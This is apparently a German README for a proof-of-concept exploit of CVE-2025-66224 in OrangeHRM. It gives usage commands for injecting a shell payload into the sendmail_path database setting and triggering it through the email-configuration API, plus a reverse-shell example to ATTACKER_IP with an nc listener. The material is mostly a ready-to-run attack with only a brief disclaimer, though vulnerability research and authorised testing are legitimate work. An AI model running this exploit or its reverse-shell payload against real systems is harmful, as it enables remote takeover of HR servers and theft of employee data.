Proof-of-Concept-Exploit für CVE-2025-66224 zur Demonstration von Remotecodeausführung in OrangeHRM über eine Befehleinschleusung im Parameter sendmail_path, mit automatischer Datenbank-Payload-Injektion und Bereinigung.
Dieses Proof of Concept (PoC) demonstriert eine Remote Code Execution (RCE)-Schwachstelle in OrangeHRM durch Befehlseinschleusung im Konfigurationsparameter sendmail_path.
Der Exploit funktioniert wie folgt:
hs_hr_config)Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests gedacht. Unautorisierter Zugriff auf Computersysteme ist illegal. Die Autoren sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrm-Cookiespython3 exploit.py -t <ZIEL_URL> -c <COOKIE_WERT> \
-dh <MYSQL_HOST> -du <MYSQL_BENUTZER> -dp <MYSQL_PASSWORT> \
-cmd '<AUSZUFÜHRENDER_BEFEHL>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# Starten Sie einen Listener auf dem Angreifer-Rechner
nc -lvnp 4444
# Führen Sie den Exploit mit Reverse-Shell-Nutzlast aus
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
| Parameter | Kurzform | Erforderlich | Beschreibung |
|---|---|---|---|
--target | -t | ✅ | Ziel-URL (z. B. http://target.com) |
--cookie | -c | ✅ | Wert des Sitzungs-Cookies |
--cookie_name | -cn | ❌ | Cookie-Name (Standard: _orangehrm) |
--command | -cmd | ✅ | Auf dem Ziel auszuführender Befehl |
--db_host | -dh | ✅ | MySQL-Hostadresse |
--db_user | -du | ✅ | MySQL-Benutzername |
--db_pass | -dp | ✅ | MySQL-Passwort |
--db_port | -dport | ❌ | MySQL-Port (Standard: 3306) |
Die Schwachstelle existiert in der E-Mail-Konfigurationsfunktion, bei der der Parameter sendmail_path in der Datenbank gespeichert und später ohne ordnungsgemäße Bereinigung ausgeführt wird.
Ablauf des Exploits:
1. Authentifizierung bei OrangeHRM (gültiges Sitzungs-Cookie abrufen)
↓
2. Verbindung zur MySQL-Datenbank herstellen
↓
3. Tabelle hs_hr_config lokalisieren
↓
4. Wert von email_config.sendmail_path aktualisieren:
VON: /usr/sbin/sendmail -bs
NACH: /usr/sbin/sendmail -bs && <NUTZLAST> #
↓
5. Ausführung über API auslösen:
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. Befehl wird auf dem Server ausgeführt
↓
7. Ursprünglichen Wert wiederherstellen (Bereinigung)
Anfälliger Parameter: email_config.sendmail_path
Datenbank:
hs_hr_configname = 'email_config.sendmail_path'value = Sendmail-BefehlspfadAuslöser-Endpunkt:
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_pathPoC von: RiccK
Team: Bypassadores && HackersOnSteroids
⚠️ Verantwortungsvoll nutzen. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie Tests durchführen.